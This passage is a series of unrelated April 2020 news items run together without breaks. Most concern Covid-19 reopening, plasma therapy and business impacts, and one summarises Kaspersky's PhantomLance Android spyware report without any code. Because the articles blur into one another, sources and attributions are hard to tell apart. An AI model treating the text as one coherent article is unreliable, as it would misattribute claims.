lead investigator for the Los Angeles study. The estimates also suggest that we might have to recalibrate disease prediction models and rethink public health strategies. Some level of social distancing will be required to prevent the rapid spread of the virus, but the sweet spot between balancing public health and economic health remains a challenge for officials. "I dont have a crystal ball and I'm not advising either the city government or the governor, but a scenario I like is allowing manufacturing and construction to come back as well as medical services that are not hospital-based," Rutherford said. "Get that stuff back into place soon and see how it goes, then go a little further and bring more stuff back, just gradually introduce things." However, any gradual reopening will not be possible until the region has a comprehensive system of widespread testing and contact tracing in place. Rutherford is optimistic we will be there sometime soon and he, like you, needs a haircut. "I want a haircut, and I dont want my wife to do it," he said. "I guess I'll have to start looking for hair ribbons or something." MORE CORONAVIRUS COVERAGE: Sign up for 'The Daily' newsletter for the latest on coronavirus here. Eric Ting is an SFGATE digital reporter. Email: eric.ting@sfgate.com | Twitter:@_ericting However, schools would assemble their students in a scattered manner according to grades, the Ho Chi Minh City administration said Tuesday. Over 87,000 ninth-graders who are about to take their high school entrance exams, and over 63,000 12th-graders who need to take their high school graduation exams will go back to school on Monday and start normal classes the next day. Students from fourth to eighth grades, and 10th and 11th graders, will gather at school on May 8 and start classes from May 11. Those from first to third grades will gather at school on May 11 and start classes the next day. Kindergarten classes will reopen between May 18 and June 1. High school students and students of regular education and vocational training centers in HCMC would be provided three masks per month for a total of three months when they start classes again. Over 135,000 students are at the city's colleges and vocational training centers. Meanwhile, the capital city's secondary and high school students are also likely to return to school on May 4, Hanoi Chairman Nguyen Duc Chung said at a meeting with the Steering Committee for the Prevention and Control of Covid-19 Monday. The return-to-school date will be decided Wednesday, he added. Vietnamese students are typically given a two-week spring holiday and a three-month summer break. However, due to the Covid-19 pandemic, over 22 million students have been on a prolonged school break following the Lunar New Year holiday in late January. This is the first time in history that Vietnamese students have had to take such a long spring break due to a pandemic. In response, students and teachers have taken part in online lessons, the Ministry of Education and Training has cut short the years curriculum and recognized online learning results. With HCMC, 60 out of 63 cities and provinces in Vietnam have decided when their schools would reopen, with most choosing dates between late April and early May. Hanoi and Ha Giang in the north and Ben Tre in the south are the three localities who have not announced their school resumption plans. Vietnam eased social distancing restrictions from April 23, but people are still required to wear face masks and maintain minimum distance of one meter from each other in public places. Gatherings of more than 30 people in public places are forbidden. Vietnam has confirmed 270 Covid-19 cases so far, of which 48 are active, including three in HCMC. The last recorded cases were four days ago, and there has been no community transmission since April 16. The pandemic has spread to 210 countries and territories and its reported death toll has crossed 211,900. Melbourne could record its coldest April day in nearly a quarter of a century and is on track to eclipse last year's rainfall level in under five months as Victorians brace for heavy downpours, flash flooding and a freezing change this week. The Bureau of Meteorology said Thursday's 13-degrees forecast would make it the coldest April day since 1996. It will feel even colder due to strong winds. "It's certainly unusual for April," bureau senior metrologist Kevin Parkyn said. Victoria will be hit with heavy rain, beginning on Wednesday in some areas such as the state's north-east ranges, tipped to top 100 millimetres. Melbourne, particularly the eastern suburbs, could experience 15 to 35 millimetres of rain, the bureau says. South Indian star Tamannaah Bhatia on Tuesday took to Instagram to celebrate three years of the second part of "Baahubali" franchise Baahubali 2: The Conclusion. The actress, who played the role of Avantika in the film, penned a long note along with a series of pictures. Cant imagine we are already celebrating 3 glorious years of the magnificent and opulent #Baahubali2. Still remember my first day on the sets when my dream of being directed by @ssrajamouli sir came true, reads the caption. She further expressed her gratitude to the entire team of the epic action film. A big big THANK YOU to the entire team of Baahubali who worked like a big happy family and our audiences for loving the movie and pouring in unconditional love every single day (sic), wrote Tamannaah. Tamannaahs co-star Prabas and Rana Daggubati also joined the celebration and shared behind the scenes glimpses from the film. Prabhas, who portrayed the characters of Amarendra Baahubali and Mahendra Baahubali in the epic-saga, shared a BTS from the sets and wrote, "Baahubali 2 was not just a film that the nation loved but also, the biggest film of my life. And, I'm grateful to my fans, team and director SS Rajamouli, who made it one of the most memorable projects. Baahubali 2 completes three years and I'm delighted for all the love the film and I have received (sic)." Meanwhile, Daggubati, who donned the character of Bhallaladeva (an antagonist) in the period drama, replied to producer Yarlagaddas tweet and wrote, "The might, the majesty, the Mahishmathi! Miss all of you loads. #3YrsOfMightyBaahubali2 (sic)." The Might, The Majesty,The Mahishmathi!! Miss all of you loads. #3YrsOfMightyBaahubali2 https://t.co/6Pjy7l34EV Rana Daggubati (@RanaDaggubati) April 28, 2020 The SS Rajamouli directorial was the follow-up to Baahubali: The Beginning (2015). Follow @News18Movies for more Today, there are more questions than available answers as the coronavirus has so many of us worried about the future. We dont know whether well ever have enough testing, or when we will have a vaccine, or whether this might turn out to be the chance to finally, comprehensively, address inequities in health and health care that have plagued our nation for decades. We dont even know when its safe to leave our homes. Recent polls indicate that 72% of Americans are willing to continue the strict guidelines to shelter in place for as long as is necessary to protect our friends, families, and communities. Others loudly advocate for a more aggressive approach to rebooting the economy, and they, too, are concerned for their families and communities. In the absence of a clear, dependable, and objective arbiter, the public will remain in the middle, bombarded by confusing messages. Within this context, I am more mindful than ever of the words I choose when I speak with my patients. I am an ophthalmologist, and we have been advised to see only emergency patients. However, as a glaucoma specialist, I am aware that every day may feel like an emergency for patients fearful that they may be losing precious visual function. So I always begin a call by asking my patient how they are doing in general. Only then do I review their previous visit and ask whether they have noticed changes in their status. Patients have responded with overwhelming gratitude and relief that someone cared to ask how they were doing. When that happens, I sense that, despite the circumstances, I still can contribute to the process of healing. And I am reminded just how much fear there is in the community. I recently read an article about a man in Detroit who went to three hospitals complaining about tightness in his chest, difficulty breathing, and fever. Each hospital sent him home. Ultimately, he fell asleep in his recliner, exhausted after days of breathing difficulties, and died that evening. What went so wrong in his interactions at the three hospitals? Did he not have the right words, did the providers simply fail to grasp what he was saying? None of us will ever know. But in his story is the reaffirmation that we as physicians must be clear in our communication and astute in our ability to grasp the severity of a situation even without a full conversation. Our approaches to care must remain evidence-based, our actions acutely responsive. In some ways, the patient-care experience also provides takeaways for national policy. The guidelines for opening the economy are clear specifically, the observation of a downward trend in COVID-19 cases for a 14-day period. Clear and evidence-based approaches are key to any mode of effective communication. Obscuring the facts will not work. For example, reporting the testing numbers per thousand individuals rather than the total number of tests provides a fairer comparison across states and countries. Having a simple, memorable message is also key. The governor of Washington, the first state to have experienced a significant outbreak, stated in his message on April 2, Stay Home, Stay Healthy. Of course, front-line workers cannot follow that advice, but they are protected by those who do as well as by social distancing, hand-washing and wearing face masks. The power of clear communication should not be underestimated during a time when we can only dream of a future when we have a vaccine that controls this invisible culprit. So, what are key messages for our students, staff, faculty and colleagues in the midst of this pandemic? Be clear, compassionate, and listen to your patient, colleague, friend, and/or communities before delivering your answer or your message, and ensure that it is based on best evidence available. In the words of blogger/author Erin Loechner, We are not for lack of voices. We are for lack of listeners, those that hear with intention and speak with grace. Eve J. Higginbotham is vice dean for diversity and inclusion and a professor of ophthalmology at the Perelman School of Medicine of the University of Pennsylvania. Regulatory News: Europcar Mobility Group (Paris:EUCAR): As part of the cash preservation plan announced on March 23rd and updated on April 15th 2020, with first the finalization of lines of financing 70% guaranteed by the Spanish State for an amount of 36 million, the group announces the finalization of the second tranche of this Spanish State guaranteed program, with new 3-year maturity lines for a global amount of 31.25 million for its two operating subsidiaries in Spain under the Europcar and Goldcar banners which consolidate the Group's liquidity to enable it to meet its vehicle financing needs and its corporate needs related to the impacts of the COVID-19 pandemic. The Group is continuing its negotiation, within the framework of the processes supervised by the Ministry of the Economy and Finance, with some of its lending banks to obtain additional financing guaranteed by the French State via the BPI. The Group is also continuing its efforts through its foreign subsidiaries in countries where similar support measures have been deployed. The outcome of these initiatives will be communicated in due course. Q1 results will be communicated on the 5th May after the closing of the stock exchange. About Europcar Mobility Group Europcar Mobility Group is a major player in mobility markets and listed on Euronext Paris. The mission of Europcar Mobility Group is to be the preferred "Mobility Service Company" by offering attractive alternatives to vehicle ownership, with a wide range of mobility-related services and solutions: car rental and light commercial vehicle rental, chauffeur services, car-sharing, scooter-sharing and private hire vehicle (PHV rental to "Uber like" chauffeurs). Customers' satisfaction is at the heart of the Group's mission and all of its employees and this commitment fuels the continuous development of new services. Europcar Mobility Group operates through a diversified portfolio of brands meeting every customer specific needs and use cases, be it for 1 hour, 1 day, 1 week or longer; its 4 major brands being: Europcar the European leader of car rental and light commercial vehicle rental, Goldcar the low-cost car-rental Leader in Europe, InterRent 'mid-tier' car rental and Ubeeqo one of the European leaders of round-trip car-sharing (BtoB, BtoC). Europcar Mobility Group delivers its mobility solutions worldwide solutions through an extensive network in over 140 countries (including wholly owned subsidiaries 18 in Europe, 1 in the USA, 2 in Australia and New Zealand completed by franchises and partners). Further details available at: www.europcar-mobility-group.com View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005944/en/ Contacts: Investors Relations Caroline Cohen caroline.cohen@europcar.com +33 6 82 75 96 39 Press Relations Valerie Sauteret valerie.sauteret@europcar.com Vincent Vevaud vincent.vevaud@europcar.com +33 6 72 93 31 05 +33 6 43 64 21 49 Publicis Consultants Camille Madec camille.madec@publicisconsultants.com +33 7 86 42 95 15 Mobiles Airbus said it will for not furlough or layoff any of its staff amid reports Monday that the international plane maker has sidelined thousands of employees in the United Kingdom because of the economic downturn brought on by COVID-19. Airbus has already cut production rates across its international sites by about a third, according to an Airbus spokesperson in Mobile. Airbus globally has reduced its production rates to a level that preserves Airbus ability to meet customer demand while also protecting the companys ability to further adapt as the global market evolves, Kristi Tucker told AL.com in an email Monday. This represents a reduction of the pre-coronavirus average rates of roughly one third. Mobiles rate will be impacted along with the other A320 FALs and Mirabel A220 FAL, but we will continue to be a vital part of Airbus production network. When asked specifically about the possibility of job losses, Tucker said there would be no furloughs or layoffs at this time. The move comes after Chief Executive Guillaume Faury warned Monday the company was "bleeding cash at an unprecedented speed. Faury also told Airbus 135,000 staff to prepare for possible deep job cuts and warned that its survival was at stake without immediate action. Government assisted job schemes have already been implemented in France where 3,000 staff were furloughed about 10 days ago. The news comes as Airbus employees in Mobile prepare to return to work after three weeks out. In the near term, we are returning to production in Mobile on Wednesday under strict hygiene and social distancing rules, said Tucker. This follows a 3-week production pause that began on April 8. Airbus announced Monday that it will furlough 3,200 employees at its production site in North Wales. The France-based company said about half of the staff at its British site would be placed on the U.K. governments job retention scheme, which pays 80 percent of wages. The company is then expected to top up salaries by a further 5 to 10 percent. Second Place: Lincoln High School, Oregon Teacher: Patrick Magee-Jenks Third Place: Maggie L. Walker Governor's School for Government and International Studies, Virginia Teacher: Samuel Ulmschneider 30 classes, with over 600 students competed online using Zoom in the academic competition where students demonstrate their knowledge of the Constitution in simulated congressional committees and were judged by state supreme court judges, constitutional scholars, lawyers, public officials and We the People alumni. The panel of judges tested the expertise of the classes on the six units of the "We the People: The Citizen & the Constitution" textbook: What Are the Philosophical and Historical Foundations of the American Political System? How Did the Framers Create the Constitution? How Has the Constitution Been Changed to Further the Ideals Contained in the Declaration of Independence? How Have the Values and Principles Embodied in the Constitution Shaped American Institutions and Practices? What Rights Does the Bill of Rights Protect? and What Challenges Might Face American Constitutional Democracy in the Twenty-first Century? Information about the National Finals Challenge is available at https://www.civiced.org/2020-national-finals-challenge and more information on the We the People: The Citizen and the Constitution program http://www.civiced.org/programs/wtp The We the People Program is administered by the Center for Civic Education. More information about the Center can be found at http://www.civiced.org The competition results were announced at an online awards ceremony Monday evening For a list of all the awards and winning schools please visit: https://www.civiced.org/2020-national-finals-challenge-awards SOURCE The Center for Civic Education Related Links http://www.civiced.org Tributes have been paid to frontline worker and Tipperary town native Eileen Landers who passed away in the UK on Sunday after contracting Covid-19. The popular staff member at Queens Hospital in Burton-upon-Trent has been remembered for her dedication to her role at the hospital where she worked as a member of the cleaning team since 2004. Eileen was held in extremely high esteem by her fellow colleagues and wider hospital community with many recalling how the Tipperary native always had time and a smile for everyone she met. A native of Tipperary town, Eileen moved to the UK in her 20s, going on to join the NHS. She was the second youngest of eight brothers and sisters. Margaret Landers, Eileens sister, described her as having a heart of gold and the most generous person anyone could meet. We will all miss her greatly, she said. A minute's silence was observed by staff at the hospital on Tuesday morning in memory of their dear friend and dedicated work colleague. In a statement on the University Hospitals of Derby and Burton NHS Foundation Trust website, Gavin Boyle, Chief Executive, said: Eileen joined the Trust as a Domestic Assistant at Queens Hospital Burton in 2004 and was a very popular member of the team. Eileen worked in many departments and wards across the hospital, most recently in the Discharge Lounge, and was known for her high standards, which colleagues and the nursing team say were second to none. "During her time here she was known for her absolute dedication to her role and her dedication to coming to clean the hospital and protect patients. The importance of the role Eileen and her colleagues perform simply cannot be overstated. Eileen will be sadly missed by the whole UHDB family, especially by the domestic teams that worked closely with her for those many years. Our thoughts and condolences are with Eileens family today," he said. ALBANY About two weeks ago Joe Hunziker was among a small but growing number of people who were eligible to donate plasma to people sick with COVID-19. The 22-year-old lab technician at St. Peters Hospital in Albany fit all the criteria: He had fallen ill with the disease and had a test to prove it; plus he had since recovered and had a second test to confirm the virus was really out of his system and he was otherwise healthy. He initially got the second test to give his coworkers peace of mind about him returning to work. But he had also recently seen on the news that his employer was looking for donations of plasma the liquid portion of blood thats mostly made of water and carries critical cells, proteins and electrolytes throughout the body. For people whove recovered from COVID-19, the disease caused by the novel coronavirus known as SARS-CoV-2, that plasma also contains an army of antibodies that are specially trained to fight off the virus. Scientists and doctors are hopeful that for people whose bodies are having a hard time fighting off the virus, a transfusion of antibody-rich plasma from those already recovered will do the trick. So on April 16, Hunziker got a blood screen and was matched to two coronavirus patients at St. Peters. I work in health care so it seemed the obvious thing to do, he said. After the match, I said OK, Im able to donate and I will donate. Where to get tested for COVID-19 in the Capital Region Latest coronavirus-related cancellations, postponements The latest coronavirus numbers in NY Sign up for the Times Union coronavirus newsletter Full coronavirus coverage He ventured over to the American Red Crosss Albany site on Everett Road and sat down for the approximately 40-minute procedure. Blood was drawn from one of his arms and sent through a plasmapheresis machine that uses a centrifuge to separate out the plasma from his red blood cells. The red blood cells were returned to him. The plasma, which takes on a yellow hue once separated from the rest of the blood, was bagged and sent to St. Peters for use in COVID-19 patients. It didnt really hit me until I was driving away, Hunziker said. I thought of how Id feel if it was someone in my family sick with this, and I felt very proud and humbled to be able to potentially help someone with a donation. It made me very emotional. Its history in the making and I hope it does somebody good. Doctors dont really know yet whether plasma is helping coronavirus patients. But unlike hydroxychloroquine an antimalarial drug that experienced a lot of early hype as a potential treatment option against COVID-19 thanks in large part to President Donald Trump enthusiasm for convalescent plasma therapy, as it is called, remains high in the medical field. Our enthusiasm for hydroxychloroquine is diminishing rapidly, said Dr. Jorge Cerda, chief of St. Peters department of medicine and principal investigator who directs the hospitals convalescent plasma therapy program. We think, and we cant quantitate it, but we think that (plasma) makes much more sense. Why? There is a history of using plasma in desperate situations like this one. Doctors and scientists have been using some version of plasma therapy to treat infectious diseases since at least the late 19th century. Also known as passive immunization or antiserum therapy, it was used around the turn of the 20th century to treat diphtheria and in 1918 helped in the fight against the Spanish flu. Over the years it would also be used to treat measles, polio, pneumococcus, Haemophilus influenzae and meningococcus. Its one of the oldest ways in which people treated infectious problems before there were antibiotics or antiviral treatments available, Cerda said. Thats one reason why enthusiasm remains high, as the race to develop an effective vaccine and cure for COVID-19 is expected to take many more months if not years. Hospital systems across the Capital Region including Albany Medical Center, St. Peters Health Partners, and Ellis Medicine began seeking plasma donations and using the therapy earlier this month. St. Peters began considering its use when it started to get a surge of transfers from overwhelmed hospitals in Queens, Cerda said. The hospital system began contacting employees and patients who had tested positive for the coronavirus and recovered, and asking if theyd be interested in making a donation. It had to get approval from the Mayo Clinic, which runs a convalescent plasma program and was designated a lead institution for coordinating access to the therapy. Albany Medical Center set up a similar, locally coordinated system under the oversight of the Mayo Clinic. It launched and advertised a special phone number for potential donors to call and be screened for eligibility. That number has received more than 1,000 calls to date, said Dr. Marc Judson, chief of Albany Meds division of pulmonary and critical care medicine. My philosophy is we give it to everyone we possibly can, he said. We dont know yet if this therapy is best when someone is already overwhelmed with disease or when someone isnt overwhelmed by disease but is in the hospital and decompensating. As interest in the therapy has grown nationwide, the Red Cross has centralized the process for donation and people who have recovered from the virus are urged to visit https://www.redcross.org to learn more about potentially donating plasma. At St. Peters, 14 patients have received it so far, including seven at St. Peters Hospital in Albany and seven at Samaritan Hospital in Troy. At Albany Med, 29 patients have received it, while at Ellis, three patients have received it so far. Locally, doctors are hesitant to say whether plasma appears to be working or not, citing the many factors that could be at play behind a patients recovery. But they offered anecdotal observations. In general patients are getting better, Cerda said. But it is usually not a dramatic response because by the time they get here, they are awfully sick. In some cases its like the Lazarus effect they revive and are no longer sick. But most of the time you have a horrendously sick patient who gets a little bit better one day, and a little bit better the next day. Judson said theres really no way of determining whether the therapy works until a much larger pool of people receive it and are monitored for outcomes. If a patient gets this therapy and gets better, it may have everything to do with the therapy or it may have nothing to do with the therapy, he said. There are so many factors in determining a patients outcome there are so many unanswered questions. One reason Cerda is hesitant to declare plasma effective has to do with when it is administered. Hospitals are trying a variety of possible treatments, including the drug remdesivir, which is seeing promising results in several clinical trials underway nationwide. Depending on a patients symptoms and condition, their doctor may decide to try them on remdesivir first, he said, in which case they are watched for signs of improvement over a five-day period. If they dont progress, then doctors may try the plasma in a last-ditch effort, he said. If at that point they improve, he said, it would be hard to know whether it was the plasma or remdesivir that was responsible, or even the bodys own immune system. St. Peter's is working to develop an algorithm, he said, that it hopes will help determine when to administer certain treatments and in which patients. The reality is were driving blindly up to a certain extent because we dont know what is the ideal timingTheres a lot of questions in the treatment of this disease, he said. One roadblock to plasma donations has been the requirement for a second COVID test. If a person has recovered from the illness and its been within 14 to 27 days of their last symptoms, they must receive a second diagnostic test to make sure the virus is out of their system. At least half the time, the virus is still showing up, local officials said. In Albany Meds case, its been about 60 to 70 percent of the time, Judson said. Cerda said he believes the virus the tests are detecting is likely dead and no longer infectious, but to err on the side of caution they are ruling those donors out. After 14 days everybody assumes the disease is gone, he said. But the answer is that 50 percent of those people two weeks later are still positive so they cannot donate so my duty, which I dont enjoy at all, is to contact those potential donors who are still positive and say, You know what Mr. Smith, you are still positive, therefore No. 1 you cannot donate and No. 2 you have to stop working and go back into quarantine. However, once someone has gone 28 days without COVID-19 symptoms, they are able to donate plasma and the second test is no longer required. The potential donor must still provide proof that they were diagnosed with and had a positive COVID-19 test in order to qualify. Anyone interested in donating can visit https://www.redcross.org. In Albany Meds case, interested donors are still welcome to call 518-262-9340 to be screened over the phone. Bengaluru, April 28 : Eminent farm scientist S. Ayyappan has been appointed Chairman of the Karnataka Science and Technology Academy, an official said on Tuesday. "The state government has reconstituted the Karnataka Science and Technology Academy (KSTA) with Ayyappan as Chairman and 13 members comprising noted educationists, scientists and administrators for a three-year term," said the official in a statement here. Ayyappan, 65, is the former Director General of the state-run Indian Council of Agricultural Research (ICAR), Secretary to Department of Agricultural Research and Education (DARE) and Chancellor, Central Agricultural University, Manipur. KSTA was set up as an autonomous institution in July 2005 under the state department of science and technology, with eminent space scientist late U.R. Rao as its first Chairman. "The Academy has been executing a number of programmes to promote STEM (science, technology, engineering and mathematics) education and develop scientific temper among the students reading at different levels in an educational pyramid," said the statement. The institution has been popularising science among the public across the southern state over the last 15 years since its inception. BAKU, Azerbaijan, Apr. 25 Trend: Over the past 24 hours, Armenian armed forces have violated the ceasefire along the line of contact between Azerbaijani and Armenian troops 24 times, Trend reports referring to Azerbaijani Defense Ministry on April 25. The Armenian armed forces were using large-caliber machine guns. The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on the withdrawal of its armed forces from Nagorno Karabakh and the surrounding districts. Kaspersky Lab uncovered an ongoing cyberespionage campaign, dubbed PhantomLance, that employed malicious apps hosted on the official Google Play. Kaspersky has spotted an ongoing campaign, dubbed PhantomLance, that employed malicious spying apps hosted by Google Play. The campaign has been active for at least four, experts discovered dozens of malicious apps in Google Play, some of which included a new Trojan. Experts also discovered malicious apps on the APK download site APKpure. In 2019, researchers from Dr. Web discovered a backdoor trojan in Google Play, which appeared different from other threats due to its level of sophistication for this reason Kaspersky investigated it. The malware was an info stealer and according to the researchers, it was part of a long-term campaign, tracked as PhantomLance that has been active at least since December 2015. We found dozens of related samples that had been appearing in the wild since 2016 and had been deployed in various application marketplaces including Google Play. reads the analysis published by Kaspersky. One of the latest samples was published on the official Android market on November 6, 2019. We informed Google of the malware, and it was removed from the market shortly after. The Trojan was hidden in an application on Google Play that masqueraded as an OpenGL Plugin that once executed simulates a check for new versions of OpenGL ES, but actually installs a backdoor. Kaspersky experts found a similar sample on Google Play, it implements high levels of encryption, furthermore, the malicious code was able to download and execute additional malicious payloads that would be suitable to the specific device environment (i.e Android version, installed apps). The PhantomLance malware implements classic spyware functionalities, it could exfiltrate user data, phone call logs, SMS messages, contacts, and GPS data. The malicious code is also able to deploy additional malicious payloads. Kaspersky believes that the campaign was carried out by an Advanced Persistent Threat (APT) group, experts discovered multiple overlaps with campaigns attributed to the OceanLotus APT. Overlaps include multiple code similarities with the previous Android campaign, as well as macOS backdoors, and the infrastructure. While analyzing the 2 server infrastructure, we quickly identified multiple domains that shared similarities with previous ones but were not linked to any known malware samples. This allowed us to uncover more pieces of the attackers infrastructure. continues the analysis. OceanLotus APT (also known as APT32 or Cobalt Kitty) has been active since at least 2013, it is a state-sponsored hacking group that targeted organizations across multiple industries and have also targeted foreign governments, dissidents, and journalists. Recently the Vietnam-linked cyberespionage carried out hacking campaigns against Chinese entities to collect intelligence on the COVID-19 crisis For most of malware deployment, the threat actors built a fake developer profile by creating a Github account that contains only a fake end-user license agreement (EULA). The researchers noticed that in order to avoid detection, the first version of the malicious app initially uploaded to Android stores (Google Play or APKpure) did not contain malicious code. Later the attackers update the applications with the code that acts as a dropper for additional payloads. Experts observed around 300 infection attacks on Android devices in India, Vietnam, Bangladesh, Indonesia since 2016. Kaspersky reported his findings to Google that has since removed the malicious apps from the official store. Based on the complete analysis of previous campaigns, with the actors interests in victims located in Vietnam, infrastructure overlaps between PhantomLance and OceanLotus for Windows, multiple code similarities between an old Android campaign and MacOS backdoors, we attribute the set of the Android activity (campaign 2014-2017 and PhantomLance) to OceanLotus with medium confidence. concludes Kaspersky that also published Indicators of Compromise (IoCs) in its analysis. Please give me your vote for European Cybersecurity Blogger Awards VOTE FOR YOUR WINNERS https://docs.google.com/forms/d/e/1FAIpQLSe8AkYMfAAwJ4JZzYRm8GfsJCDON8q83C9_wu5u10sNAt_CcA/viewform Pierluigi Paganini (SecurityAffairs PhantomLance, hacking) Share this... Linkedin Share this: Twitter Print LinkedIn Facebook More Tumblr Pocket Share On NSW Premier Gladys Berejiklian says she intends for school students to be back on campus full-time before the end of term two, after a staggered return to classrooms from May 11. This timeline will be revised after a fortnight of having students in school on a rostered basis, starting with one day a week, the Premier said. Premier Gladys Berejiklian intends to have all children back in school full time before the end of term 2. Credit:Nick Moir "We're very hopeful that the first few weeks of school returning will result in us being able to possibly truncate the process; to have full-time face-to-face student attendance quicker than anticipated," Ms Berejiklian told reporters on Tuesday morning. "Again, that will be based on how things go, but we're hopeful that students will be getting full-time face-to-face teaching during and definitely by the end of term 2." live bse live nse live Volume Todays L/H More For close to 120 Wipro Kochi employees who resumed office on Monday, April 27, things were different. They were greeted by security in protective outfits screening them for COVID-19 symptoms, compulsory hands-free sanitisers and longer queues, all while maintaining social distancing. Inside the office, there is no room for water cooler talks, now that one has to maintain one-metre distance. There is no scope for group lunch breaks either, with just two people allowed to sit on tables that usually seat four or six. It's a very different workspace from what they are used to. In the coming days, this will be the norm in most IT companies. At least until the coronavirus pandemic is under control. Until then, IT companies are leaving no stones unturned to ensure employees' safety across the campus from toilets to interaction with colleagues. The government on April 20 had allowed companies to re-open offices with 50 percent capacity. However, states such as Karnataka, Telangana, Maharashtra and Tamil Nadu have not allowed IT/ITeS employees to operate except for essential services. A slow start More than 90 percent of employees in IT services firms are now working from home (WFH). In business process management firms, the WFH strength is 60-80 percent. Both sectors put together employ about 50 lakh people. However, companies are in no rush to get their employees to work. Top executives in major IT firms have agreed that the shift to office would be gradual. UB Pravin Rao, COO, Infosys said during FY20 result announcement that the company will start with less than 5 percent employees initially for three to four weeks. Then will slowly increase it to 15-20 percent. All the time following high standards of safety, he added. You cant just enter Keshav R Murugesh, Group CEO, WNS Global Services, a business process management firm, said the company is looking at getting employees to office starting with those who have difficulty working from home. Not more than 600-700 employees will work from office out of 44,000+ employee base, until the COVID-19 situation is under control, he added. Unlike before, employees wont be able to just enter the campus after the routine scan of bags and security checks. They will be disinfected with sanitisers and may even have to undergo thermal screening. Wipro on its Kochi campus has created a hands-free sanitiser that can be operated using your foot. The hands-free sanitiser was developed by Wipros facilities management groups engineering team in Kochi. We started operations in Kochi today with 120 people returning to the office. Working in our new normal with social distancing guidelines putting employee safety first. Thank you to the team @Wipro for doing a great job in readying us for this new start. pic.twitter.com/DQR6PgVJJq Rishad Premji (@RishadPremji) April 27, 2020 Rishad Premji, Wipro Chairman, took to Twitter to talk about the 'new normal.' Rao during the quarter results said that the company will do temperature checks and is also looking to set up testing centres subject to availability of testing kits. Murugesh of WNS pointed out that in cases where an employee tests positive or even experiencing symptoms, he/she will not be allowed to come back into the office until and unless they have been quarantined for enough of a period. Maintaining social distancing Social distancing will be the new normal, agree all executives. Commuting to office will be different too, for social distancing will be maintained in buses that ply employees to office and vice versa. This would mean operating buses at strength much lower than earlier. Let us take Wipro. Rishad Premji, chairman, Wipro, said in a tweet that social distancing will be implemented in all work places from toilets to cafeteria. Employees might have to wait longer to use wash rooms and lift. Queues in food courts are likely to be longer. In lifts, in place of 4-5 people, only two will be allowed. Murugesh said, We (WNS) have created standard operating procedure (SOP) for how they will spend the whole day in office while interacting with each other minimally from a physical point of view. This would mean more use of telephones or as an employee joked, shout from one end to the other. Travel policy Travel policy will see a huge change too. Travelling is one of the most essential parts of IT/ITeS business and cannot be completely done away with once markets open up. However, the definition of business travel will change. Murugesh explained that while not all travels can be done away with, the company will see keep a check on if the travel is essential or the meeting with clients could be done over video calls like it is today. Currently, most of the meetings are done over video applications such as Zoom since the travel ban is in place. The company has also created a separate SOP on protocols to follow when a person travels. This includes the route he/she needs to take depending on the virus spread at that point, protective equipment provided to them and also travel insurance policy they need to take. The travel policy also includes an emergency response in case when the country the person travelling to goes under lockdown. It is not a daily increase, but a daily decrease. Hack away at the inessentials. Bruce Lee At the beginning of this year, a rare few could have predicted how abruptly life would soon change. But one thing has become abundantly clear from the recent COVID-19 crisis: We cant put off what matters most for later. Wasting valuable energy on mindless activity will keep us from the work we most care about. In the business world, this means being pulled along by low-value tasks and confusing busywork with productivity. Its natural in uncertain times for our attention to be diverted in numerous directions. But immediately responding to emails as soon as they hit our inbox or checking our phones every five minutes while momentarily satisfying is often a distraction from completing the more critical work on our plates. Whats more, for every low-level interruption we engage in, research shows it takes us an average of 23 minutes and 15 seconds to get back to our original task. So how do we avoid this pitfall? By shifting our thinking and taking an active approach, we can cultivate a productivity mindset across our business to focus on whats crucial. Related: 15 Time Management Tips for Achieving Your Goals Cut out the inessential Things which matter most must never be at the mercy of things which matter least. Johann Wolfgang von Goethe Overwhelmed is the new normal, Priscilla Claman writes in Harvard Business Review. Shes not wrong. Chalk it up to our overbooked schedules, endless to-do lists and low-level tasks that keep us from moving the needle forward. But heres the thing: Taking on too many responsibilities only ends up diluting our overall impact. Research shows that knowledge workers spend a good chunk of their time (41 percent, to be exact) on discretionary activities that offer little in the way of personal satisfaction and could easily be delegated. In my experience, all of this mindless work zaps the energy, productivity and joy out of our lives. Low-level work bogs down our days and prevents us from using valuable resources on projects that will produce better outcomes. As an entrepreneur with more than 14 years of experience growing my company, Jotform, I have to constantly bring my focus back to what matters most. This isnt easy in a world full of distractions always vying for my attention. But the key, Ive found, is to work on the projects that are the true game-changers the ones that require innovation and creativity, and change peoples lives for the better. When we get rid of our low-value work, according to Claman, our tasks that mean little or nothing to customers or colleagues (like unnecessary meetings and cumbersome approval systems), we can take on a more active approach. Related: 10 Time Management Tips That Work Design an action plan For successful, productive people, it can be hard to cut out the dopamine rush that comes from constantly ticking off a to-do list. But running a thriving business means knowing how to categorize your work by importance and knowing when to take things off your plate. Part of my morning routine involves determining which projects will take my business to the next level in terms of growth and progress. I look at the days schedule and focus on high-impact work like reaching out to investors, strategic planning or finishing up an important presentation. While a lot of lesser-value tasks are necessary, some are worth eliminating altogether, like weekly status meetings that can easily be done through email. Here are some techniques Ive used over the years to help me stay focused: Find your sweet spot. When you consider taking on a project, keep an eye on whether it aligns with your purpose and whats most important to your organizations larger goals. Ask yourself if youre the right person with the right skill set to take it on. Play to your strengths a little self-awareness can help you evaluate where to spend your time and resources. Automate. As your company grows, using automation tools for low-level work will enable you to be a more effective leader. Youll save money and headaches every time you can stop sending similar emails, or manually completing the same task over and over again. Delegate. Its also equally important that you stop trying to have a hand in everything and know when to delegate. Matching the right person with the right job not only allows you to optimize outcomes it also gives your employees a chance to make more meaningful contributions. Set boundaries. Learning to say no upfront to low-value tasks is just as critical knowing what to prioritize. I used to be guilty of saying yes to every call and meeting I was invited to, but I was soon stretching myself thin and feeling exhausted all the time. As a leader, its essential to set your own limits about what youll take on, and also making sure others are aware of your rules. Make room for what matters Action expresses priorities. Mahatma Gandhi Define your peak times and set them aside for your most meaningful work. Knowing how your focus, creativity and interest change at different hours can help you better engage in the key projects you do take on. This very simple practice has really made a difference for me and given me clarity about getting the important stuff done first. Striking the balance between necessary tasks and whats crucial means experimenting with different techniques and finding what works best for your business. But once youve hacked away the inessentials, you should dedicate your time to what really matters. Whether you realize it or not, your team is seeing you lead by example, and how you approach mindless work is setting the tone for the rest of your company. After all, as author Liane Davey explains: The movement against busy starts at the top. Related: 11 Time Management Mistakes You Are Probably Making Related: 6 Strategies You Need to Run Your Company Through Uncertainty How Low-Value 